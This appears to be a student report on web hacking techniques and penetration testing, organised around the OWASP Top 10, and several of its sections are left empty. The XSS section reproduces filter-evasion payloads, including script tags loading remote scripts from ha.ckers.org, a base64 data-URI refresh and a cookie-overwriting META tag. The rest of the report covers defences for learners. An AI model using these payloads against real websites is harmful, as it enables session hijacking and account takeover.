Felix Aweh

Minang Eric

Security Alberto Russo

Samer Hourani
Jamerson Rodrigues

Programming
HACKING TECHNIQUES AND PENETRATION
TESTING

Contents
Introduction................................................................................................................. 2
Hacking Techniques and Penetration Testing................................................................2
Types of Hacking Techniques........................................................................................ 2
Injection....................................................................................................................... 3
Broken Authentication and Session Management........................................................3
Cross-Site Scripting (XSS)............................................................................................ 3
Stored XSS Attacks................................................................................................... 3
 Reflected XSS Attacks............................................................................................... 3
XSS Attack Consequences........................................................................................4
XSS Locator........................................................................................................... 4
Image XSS using the JavaScript directive..............................................................4
fromCharCode....................................................................................................... 4
Remote style sheet...............................................................................................4
STYLE attribute using a comment to break up expression........................................5
Local htc file.......................................................................................................... 5
Default SRC tag to get past filters that check SRC domain....................................5
Advance XSS............................................................................................................. 5
META..................................................................................................................... 5
META using data.................................................................................................... 5
Cookie manipulation..............................................................................................6
XSS using HTML quote encapsulation....................................................................6
Likely Places to Find XSS ulnerabilities......................................................................7
How to Prevent Cross Site Scripting on Your Website................................................7
Insecure Direct Object References...............................................................................8
How to identify Insecure Direct Object References...................................................9
Prevent Insecure Direct Object References...............................................................9
Use an Indirect Reference Map.................................................................................9
Verify User Authorization.......................................................................................... 9
Cross-Site Request Forgery (CSRF).............................................................................10
Security Misconfiguration........................................................................................... 10
How Do I Prevent 'Security Misconfiguration'?........................................................10
Insecure Cryptographic Storage.................................................................................11
Failure to Restrict URL Access....................................................................................13
Attack vectors......................................................................................................... 14
Technical impacts.................................................................................................... 14
How do I prevent failure to restrict URL access?.....................................................14
Example Attack Scenarios:..................................................................................14
Insufficient Transport Layer Protection.......................................................................14
Attack vectors......................................................................................................... 15
Technical impacts.................................................................................................... 15
How do I prevent failure to restrict URL access?.....................................................15

PAGE 1
 Example Attack Scenarios:..................................................................................15
Unvalidated Redirects and Forwards..........................................................................16
Penetration Testing.................................................................................................... 16
References................................................................................................................. 16

Introduction

Hacking Techniques and Penetration Testing

Types of Hacking Techniques

A1: Injection

A2: Broken Authentication and Session Management

A3: Cross-Site Scripting (XSS)

A4: Insecure Direct Object References

A5: Cross-Site Request Forgery (CSRF)

A6: Security Misconfiguration

A7: Insecure Cryptographic Storage

A8: Failure to Restrict URL Access

A9: Insufficient Transport Layer Protection

A10: Unvalidated Redirects and Forwards

Injection

Broken Authentication and Session Management

Cross-Site Scripting (XSS)

Cross-Site Scripting attacks are a type of injection problem, in which malicious scripts
are injected into the otherwise benign and trusted web sites. Cross-site scripting

PAGE 2
(XSS) attacks occur when an attacker uses a web application to send malicious code,
generally in the form of a browser side script, to a different end user. Flaws that allow
these attacks to succeed are quite widespread and occur anywhere a web application
uses input from a user in the output it generates without validating or encoding it.

An attacker can use XSS to send a malicious script to an unsuspecting user. The end
users browser has no way to know that the script should not be trusted, and will
execute the script. Because it thinks the script came from a trusted source, the
malicious script can access any cookies, session tokens, or other sensitive
information retained by your browser and used with that site. These scripts can even
rewrite the content of the HTML page.

Cross-Site Scripting (XSS) attacks occur when:

1. Data enters a Web application through an untrusted source, most frequently a

web request.

2. The data is included in dynamic content that is sent to a web user without
being validated for malicious script.

STORED XSS ATTACKS

Stored attacks are those where the injected script is permanently stored on the
target servers, such as in a database, in a message forum, visitor log, comment field,
etc. The victim then retrieves the malicious script from the server when it requests
the stored information. Stored XSS is also sometimes referred to as Persistent or
Type-I XSS.

REFLECTED XSS ATTACKS

Reflected attacks are those where the injected script is reflected off the web server,
such as in an error message, search result, or any other response that includes some
or all of the input sent to the server as part of the request. Reflected attacks are
delivered to victims via another route, such as in an e-mail message, or on some
other web site. When a user is tricked into clicking on a malicious link, submitting a
specially crafted form, or even just browsing to a malicious site, the injected code
travels to the vulnerable web site, which reflects the attack back to the users
browser. The browser then executes the code because it came from a "trusted"
server. Reflected XSS is also sometimes referred to as Non-Persistent or Type-II XSS.

XSS ATTACK CONSEQUENCES

The consequence of an XSS attack is the same regardless of whether it is stored or
reflected (or DOM Based). The difference is in how the payload arrives at the server.
Do not be fooled into thinking that a read only or brochureware site is not
vulnerable to serious reflected XSS attacks. XSS can cause a variety of problems for
the end user that range in severity from an annoyance to complete account
compromise. The most severe XSS attacks involve disclosure of the users session
cookie, allowing an attacker to hijack the users session and take over the account.
Other damaging attacks include the disclosure of end user files, installation of Trojan
horse programs, redirect the user to some other page or site, or modify presentation

PAGE 3
of content. An XSS vulnerability allowing an attacker to modify a press release or
news item could affect a companys stock price or lessen consumer confidence. An
XSS vulnerability on a pharmaceutical site could allow an attacker to modify dosage
information resulting in an overdose.

Basic XSS (https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet)

Some examples of basic XSS are;

XSS Locator
Inject this string, and in most cases where a script is vulnerable with no special XSS
vector requirements the word "XSS" will pop up. Use this URL encoding calculator to
encode the entire string. Tip: if you're in a rush and need to quickly check a page,
often times injecting the depreciated "<PLAINTEXT>" tag will be enough to check to
see if something is vulnerable to XSS by messing up the output appreciably

<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

Image XSS using the JavaScript directive

Image XSS using the JavaScript directive (IE7.0 doesn't support the JavaScript directive
in context of an image, but it does in other contexts, but the following show the principles
that would work in other tags as well:

<IMG SRC="javascript:alert('XSS');">

fromCharCode
if no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to
create any XSS vector you need:

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

Remote style sheet

(using something as simple as a remote style sheet you can include your XSS as the style
parameter can be redefined using an embedded expression.) This only works in IE and
Netscape 8.1+ in IE rendering engine mode. Notice that there is nothing on the page to
show that there is included JavaScript. Note: With all of these remote style sheet
examples they use the body tag, so it won't work unless there is some content on the page
other than the vector itself, so you'll need to add a single letter to the page to make it
work if it's an otherwise blank page:

<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">

STYLE ATTRIBUTE USING A COMMENT TO BREAK UP EXPRESSION

<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">

PAGE 4
Local htc file
This is a little different than the above two cross site scripting vectors because it uses
an .htc file which must be on the same server as the XSS vector. The example file works
by pulling in the JavaScript and running it as part of the style attribute:

<XSS STYLE="behavior: url(xss.htc);">

Default SRC tag to get past filters that check SRC domain
This will bypass most SRC domain filters. Inserting javascript in an event method will
also apply to any HTML tag type injection that uses elements like Form, Iframe, Input,
Embed etc. It will also allow any relevant event for the tag type to be substituted like
onblur, onclick giving you an extensive amount of variations for many injections listed
here. Submitted by David Cross.

<IMG SRC=# onmouseover="alert('xxs')">

ADVANCE XSS

META
The odd thing about meta refresh is that it doesn't send a referrer in the header - so
it can be used for certain types of attacks where you need to get rid of referring
URLs:

<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">

META using data

Directive URL scheme. This is nice because it also doesn't have anything visibly that
has the word SCRIPT or the JavaScript directive in it, because it utilizes base64
encoding. Please see RFC 2397 for more details or go here or here to encode your
own. You can also use the XSS calculator below if you just want to encode raw HTML
or JavaScript as it has a Base64 encoding method:

<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html

base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">

Cookie manipulation

Admittidly this is pretty obscure but I have seen a few examples where <META is
allowed and you can use it to overwrite cookies. There are other examples of sites where
instead of fetching the username from a database it is stored inside of a cookie to be
displayed only to the user who visits the page. With these two scenarios combined you
can modify the victim's cookie which will be displayed back to them as JavaScript (you
can also use this to log people out or change their user states, get them to log in as you,
etc...):

PAGE 5
<META HTTP-EQUIV="Set-Cookie"
Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">

XSS using HTML quote encapsulation

This was tested in IE, your mileage may vary. For performing XSS on sites that allow
"<SCRIPT>" but don't allow "<SCRIPT SRC..." by way of a regex filter "/<script[^>]
+src/i":

<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>

For performing XSS on sites that allow "<SCRIPT>" but don't allow "<script src..." by
way of a regex filter "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i"
(this is an important one, because I've seen this regex in the wild):

<SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>

Another XSS to evade the same filter, "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]

+))?)+\s*|\s*)src/i":

<SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>

Yet another XSS to evade the same filter, "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|

[^'">\s]+))?)+\s*|\s*)src/i". I know I said I wasn't goint to discuss mitigation techniques
but the only thing I've seen work for this XSS example if you still want to allow
<SCRIPT> tags but not remote script is a state machine (and of course there are other
ways to get around this if they allow <SCRIPT> tags):

<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>

And one last XSS attack to evade, "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)

+\s*|\s*)src/i" using grave accents (again, doesn't work in Firefox):

<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>

Here's an XSS example that bets on the fact that the regex won't catch a matching pair of
quotes but will rather find any quotes to terminate a parameter string improperly:

<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>

This XSS still worries me, as it would be nearly impossible to stop this without blocking
all active content:

<SCRIPT>document.write("<SCRI");</SCRIPT>PT
SRC="http://ha.ckers.org/xss.js"></SCRIPT>

LIKELY PLACES TO FIND XSS ULNERABILITIES

(https://www.golemtechnologies.com/articles/prevent-xss)

PAGE 6
XSS is found in many website locations, not all of which are obvious. This lists all
locations where XSS may be found:

HTTP referrer objects

The URL

GET parameters

POST parameters

Window.location

Document.referrer

document.location

document.URLUnencoded

All headers

Cookie data

Potentially data from your own database (if not properly validated on input)

HOW TO PREVENT CROSS SITE SCRIPTING ON YOUR WEBSITE

XSS can only be prevented by carefully sanitizing all input which is not known to be
secure. Classes of input which is known NOT to be secure include:

HTTP referrer objects

The URL

GET parameters

POST parameters

Window.location

Document.referrer

document.location

document.URLUnencoded

All headers

PAGE 7
 Cookie data

Potentially data from your own database (if not properly validated on input)

Preventing XSS is an arduous job - all the values found via the above method must be
checked for XSS attack vectors, which come in many forms. For instance, the same XSS
code may come in a dozen different forms, based on how it is encoded and special
characters placed inside.

If it is possible to whitelist data being input, then create a careful filter to whitelist the
input.

Alternately, if the data is never output to a user's browser, then it cannot be used in an
XSS attack. Be careful relying on this method, as other attacks, such as HTTP Response
Header Splitting or SQL Injection attacks use similar untrusted data sources to perform
other types of attacks.

The best defense is to escape all user input. The level of escaping and how it should be
implemented will be dependent on the specific site requirements. For instance, some sites
wish to allow users to add some HTML tags, while others have no need of such
functionality, and can more aggressively scan.

For In-URL type attacks, input should be escaped on the server side, in server code.
Some common functions in PHP to escape strings related to XSS attack vectors (Should
be used on both user input, and before outputting to the page):

Htmlspecialchars - converts HTML characters to non-executing types

For In-Body type attacks, there is not a fully comprehensive solution. Some options
include using the ESAPI escape library like so:

ESAPI.encoder().encodeForJavaScript(user_input);

This library can also be used to escape CSS in a similar way.

The functions listed here will not stop 100% of XSS attacks, but will go a fair amount of
the way. It is good to also do regular expression checking against expected input. For
instance, when expecting Zip Code data, check for 5 integer values and discard
everything else. Only a comprehensive strategy will eliminate the majority of XSS
vectors.

PAGE 8
Insecure Direct Object References
A direct object reference occurs when a reference to an internal implementation
object, such as a file, directory, or database key is exposed. Thus without any access
control check or other protection, attackers can manipulate these references to
access unauthorized data.

The Insecure Direct Object References are flaws in system design where access to
sensitive data/assets is not fully protected and data objects are exposed by
application with assumption that user wont manipulate the system. For example lets
take a scenario where an financial data report displayed to an user who is authorized
to see his personal/organizations financial data report but not expected to see other
users/organizations data.

HOW TO IDENTIFY INSECURE DIRECT OBJECT REFERENCES

Research has proven that identifying this vulnerability is slightly more difficult using
automation tools than other vulnerabilities because to exploit this vulnerability you not
only need to identify the flawed interface but also need to predict the pattern to identify
an secure object like Filename etc. Objects may be exposed through URL & Links,
Hidden Variables, Unprotected View State (ASP.NET), Drop down List box, JavaScript
Array and client side objects like Java Applets.

PREVENT INSECURE DIRECT OBJECT REFERENCES

Protection against this vulnerability can be achieve by
- minimize the ability for users to predict object IDs/Names
- make sure actual ID/name of objects are not exposed
- verify user authorization each time sensitive objects/files/contents are accessed

USE AN INDIRECT REFERENCE MAP

Indirect Reference Map may be used to create alternative ID/Name for server side
object/data this mask the actual ID/Name of the object/data so that they are not exposed
to the end user. The object ID may be anything like File Name or an internal
Customer/User ID (e.g. the Primary key attribute in master tables). Indirect Reference
Map uses a non-sequential & random identifier for a server side resource hence the end
user see the alternate ID and not the actual ID of object. This mapping may be temporary
stored in server cache or in a permanent mapping table.

For example your application may allow user to download a confidential file from your
application. Instead of creating files with obvious names based on client ID, you may use
randomly generated identifier as file name and maintain a mapping table with user
friendly file name. In the client side link you may show the user friendly file name and
when resource is requested by user then you may lookup the mapping table for actual
(random) file name and allow user to retrieve the file.

PAGE 9
VERIFY USER AUTHORIZATION
Random/alternate object ID just minimizes the user ability to predict resource identifier
that certainly reduce his capability to attack but it does not completely mitigate the attack.
If attacker can get information of the alternative object ID (e.g. from browser history on a
shared computer) then it is possible he send resource request in legitimate manner. Hence
it is important to check users authorization to confirm that he is a valid user to request
this resource. Handling such scenarios with database based validations is much easier to
implement in comparison to application code.

For example:
You retrieve some critical report contents form Database for a particular customer with
below query:
SELECT * FROM BankDetails WHERE userID=123

If the attacker can manipulate the userID from end user interface then he may pass a
different ID to access reports of other user. You may easily add validation in SQL by
checking the user authorization as below:

SELECT * FROM BankDetails INNER JOIN ReportAccessControlbyCom On

ReportAccessControlbyCom.OrgId = BankDetails.ComId
WHERE userID=123 AND ReportAccessControlbyCom.ComId =
loggedInUser_ComgId

Cross-Site Request Forgery (CSRF)

Security Misconfiguration

Security misconfiguration can happen at any level of an application stack, including the
platform, web server, application server, database, framework, and custom code.
Developers and system administrators need to work together to ensure that the entire
stack is configured properly. Automated scanners are useful for detecting missing
patches, misconfigurations, use of default accounts, unnecessary services, etc.

Regularly evaluate your Website and its environment, including the Web server, operating
system, applications, and other resources your Website uses. Use a vulnerability scanner,
such as Website Protection Website Scanner [https://www.websiteprotection.com/], to
detect flaws.

PAGE 10
HOW DO I PREVENT 'SECURITY MISCONFIGURATION'?

A repeatable hardening process that makes it fast and easy to deploy another
environment that is properly locked down. Development, QA, and production
environments should all be configured identically (with different passwords used in each
environment). This process should be automated to minimize the effort required to setup
a new secure environment. Consider running scans and doing audits periodically to help
detect future misconfigurations or missing patches.

Example Attack Scenarios

Scenario #1: The app server admin console is automatically installed and not removed.
Default accounts arent changed. Attacker discovers the standard admin pages are on your
server, logs in with default passwords, and takes over.

Scenario #2: Directory listing is not disabled on your server. Attacker discovers she can
simply list directories to find any file. Attacker finds and downloads all your compiled
Java classes, which she decompiles and reverse engineers to get all your custom code.
She then finds a serious access control flaw in your application.

Scenario #3: App server configuration allows stack traces to be returned to users,
potentially exposing underlying flaws. Attackers love the extra information error
messages provide.

Scenario #4: App server comes with sample applications that are not removed from your
production server. Said sample applications have well known security flaws attackers can
use to compromise your server

Source: https://www.owasp.org/index.php/Top_10_2013-A5-Security_Misconfiguration

Insecure Cryptographic Storage

The most common flaw in this area is simply not encrypting data that deserves
encryption. When encryption is employed, unsafe key generation and storage, not
rotating keys, and weak algorithm usage is common. Use of weak or unsalted hashes to
protect passwords is also common. External attackers have difficulty detecting such flaws
due to limited access. They usually must exploit something else first to gain the needed
access

1. Attack Vectors

Attackers typically dont break the crypto. They break something else, such as find keys,
get clear text copies of data, or access data via channels that automatically decrypt.

PAGE 11
2. Technical Impacts

Failure frequently compromises all data that should have been encrypted. Typically this
information includes sensitive data such as health records, credentials, personal data,
credit cards, etc.

3. How Do I Prevent 'Insecure Cryptographic Storage'?

Considering the threats you plan to protect this data from (e.g., insider attack, external
user), make sure you encrypt all such data at rest in a manner that defends against these
threats.

Ensure offsite backups are encrypted, but the keys are managed and backed up separately.

Ensure appropriate strong standard algorithms and strong keys are used, and key
management is in place

Ensure passwords are hashed with a strong standard algorithm and an appropriate salt is
used.

Ensure all keys and passwords are protected from unauthorized access.

4. Example Attack Scenarios

Scenario #1: An application encrypts credit cards in a database to prevent exposure to end
users. However, the database is set to automatically decrypt queries against the credit
card columns, allowing an SQL injection flaw to retrieve all the credit cards in clear text.
The system should have been configured to allow only back end applications to decrypt
them, not the front end web application.

Scenario #2: A backup tape is made of encrypted health records, but the encryption key is
on the same backup. The tape never arrives at the backup center.

Scenario #3: The password database uses unsalted hashes to store everyones passwords.
A file upload flaw allows an attacker to retrieve the password file. All the unsalted hashes
can be brute forced in 4 weeks, while properly salted hashes would have taken over 3000
years

Source: https://www.owasp.org/index.php/Top_10_2010-A7-
Insecure_Cryptographic_Storage

Using Components with Known Vulnerabilities

Virtually every application has these issues because most development teams dont focus
on ensuring their components/libraries are up to date. In many cases, the developers dont

PAGE 12
even know all the components they are using, never mind their versions. Component
dependencies make things even worse.

1. Attack Vectors

Attacker identifies a weak component through scanning or manual analysis. He

customizes the exploit as needed and executes the attack. It gets more difficult if the used
component is deep in the application.

2. Technical Impacts

The full range of weaknesses is possible, including injection, broken access control, XSS,
etc. The impact could range from minimal to complete host takeover and data
compromise.

3. How Do I Prevent 'Using Components with Known Vulnerabilities'?

One option is not to use components that you didnt write. But thats not very realistic.

Identify all components and the versions you are using, including all dependencies. (e.g.,
the versions plugin).

Monitor the security of these components in public databases, project mailing lists, and
security mailing lists, and keep them up to date.

Establish security policies governing component use, such as requiring certain software
development practices, passing security tests, and acceptable licenses.

Where appropriate, consider adding security wrappers around components to disable

unused functionality and/ or secure weak or vulnerable aspects of the component.

4. Example Attack Scenarios

Component vulnerabilities can cause almost any type of risk imaginable, ranging from
the trivial to sophisticated malware designed to target a specific organization.
Components almost always run with the full privilege of the application, so flaws in any
component can be serious, The following two vulnerable components were downloaded
22m times in 2011.

Apache CXF Authentication Bypass By failing to provide an identity token, attackers

could invoke any web service with full permission. (Apache CXF is a services
framework, not to be confused with the Apache Application Server.)

Spring Remote Code Execution Abuse of the Expression Language implementation in

Spring allowed attackers to execute arbitrary code, effectively taking over the server.

PAGE 13
Failure to Restrict URL Access
Applications are not always protecting page requests properly. Sometimes URL
protection is managed via configuration, and the system is misconfigured.
Sometimes, developers must include the proper code checks, and they forget.

Detecting such flaws is easy. The hardest part is identifying which pages (URLs) exist
to attack.

ATTACK VECTORS
Attackers who is an authorized system user, simply changes the URL to a privileged
page. Is access granted? Anonymous users could access private pages that arent
protected.

TECHNICAL IMPACTS
Such flaws may allow some or even all accounts to be attacked. Once successful, the
attacker can do anything the victim could do. Privileged accounts are frequently
targeted.

HOW DO I PREVENT FAILURE TO RESTRICT URL ACCESS?

The authentication and authorization policies be role based, to minimize the effort
required to maintain these policies.
The policies should be highly configurable, in order to minimize any hard coded
aspects of the policy.
The enforcement mechanism(s) should deny all access by default, requiring
explicit grants to specific users and roles for access to every page.
If the page is involved in a workflow, check to make sure the conditions are in the
proper state to allow access.

Example Attack Scenarios:

The attacker simply force browses to target URLs. Consider the following URLs which are both
supposed to require authentication. Admin rights are also required for access to the
admin_getappInfo page.

http://example.com/app/getappInfo

http://example.com/app/admin_getappInfo

If the attacker is not authenticated, and access to either page is granted, then unauthorized
access was allowed. If an authenticated, non-admin, user is allowed to access the
admin_getappInfo page, this is a flaw, and may lead the attacker to more improperly protected
admin pages.

PAGE 14
Such flaws are frequently introduced when links and buttons are simply not displayed to
unauthorized users, but the application fails to protect the pages they target.

https://www.owasp.org/index.php/Top_10_2010-A8-Failure_to_Restrict_URL_Access

Insufficient Transport Layer Protection

Applications frequently do not protect network traffic. They may use SSL/TLS during
authentication, but not elsewhere, exposing data and session IDs to interception.
Expired or improperly configured certificates may also be used.

Detecting basic flaws is easy. Just observe the sites network traffic. More subtle flaws
require inspecting the design of the application and the server configuration.

ATTACK VECTORS
Monitoring users network traffic can be difficult, but is sometimes easy. The primary
difficulty lies in monitoring the proper networks traffic while users are accessing the
vulnerable sites.

TECHNICAL IMPACTS
Such flaws expose individual users data and can lead to account theft. If an admin
account was compromised, the entire site could be exposed. Poor SSL setup can also
facilitate phishing and MITM attacks.

HOW DO I PREVENT FAILURE TO RESTRICT URL ACCESS?

Require SSL for all sensitive pages. Non-SSL requests to these pages should be
redirected to the SSL page.
Set the secure flag on all sensitive cookies.
Configure your SSL provider to only support strong (e.g., FIPS 140-2 compliant)
algorithms.
Ensure your certificate is valid, not expired, not revoked, and matches all domains
used by the site.
Backend and other connections should also use SSL or other encryption
technologies.

Example Attack Scenarios:

Scenario #1: A site simply doesnt use SSL for all pages that require authentication. Attacker
simply monitors network traffic (like an open wireless or their neighborhood cable modem
network), and observes an authenticated victims session cookie. Attacker then replays this
cookie and takes over the users session.

Scenario #2: A site has improperly configured SSL certificate which causes browser warnings for
its users. Users have to accept such warnings and continue, in order to use the site. This causes

PAGE 15
users to get accustomed to such warnings. Phishing attack against the sites customers lures
them to a lookalike site which doesnt have a valid certificate, which generates similar browser
warnings. Since victims are accustomed to such warnings, they proceed on and use the phishing
site, giving away passwords or other private data.

Scenario #3: A site simply uses standard ODBC/JDBC for the database connection, not realizing
all traffic is in the clear.

https://www.owasp.org/index.php/Top_10_2010-A9-
Insufficient_Transport_Layer_Protection

Unvalidated Redirects and Forwards

Penetration Testing

References

PAGE 16
PAGE 17